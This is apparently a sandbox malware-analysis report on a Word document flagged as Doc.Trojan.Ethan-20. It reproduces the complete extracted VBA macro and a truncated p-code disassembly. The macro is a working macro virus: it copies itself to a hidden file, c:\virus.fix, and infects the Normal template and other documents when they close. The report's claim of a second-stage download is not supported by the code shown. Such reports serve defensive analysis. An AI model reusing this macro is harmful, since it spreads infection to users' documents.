MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The critical ClamAV detection and the presence of VBA macros indicate malicious intent. The VBA script attempts to write its own code to 'c:\virus.fix' and execute it, likely to download and run a second-stage payload. The exact nature of the payload is not discernible from the provided script, hence the unknown family.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4831 bytes |
SHA-256: 8d4bb00760eddd99f1146c9d308808a9fda46d2839b1962548168f111b4204e6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
If Dir("c:\virus.fix", 6) = "" Then
Open "c:\virus.fix" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\virus.fix", 6
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\virus.fix" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/108a6be390094ef8ac95f7750baac272.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2723 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #3:
' LitStr 0x000C "c:\virus.fix"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #4:
' LitStr 0x000C "c:\virus.fix"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #5:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #6:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #7:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #9:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #10:
' LitStr 0x000C "c:\virus.fix"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #11:
' EndIfBlock
' Line #12:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #13:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #14:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' ElseIfBlock
' Line #15:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #16:
' ElseBlock
' Line #17:
' LitStr 0x0000 ""
' St t
' Line #18:
' EndIfBlock
' Line #19:
' Ld t
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #20:
' LitStr 0x000C "c:\virus.fix"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #21:
' LitDI2 0x0001
' ArgsLd LOF 0x0001
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' GoTo q
' EndIf
' Line #22:
' LitDI2 0x0001
' St i
' Line #23:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #24:
' LitDI2 0x0001
' Ld a
' Li
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.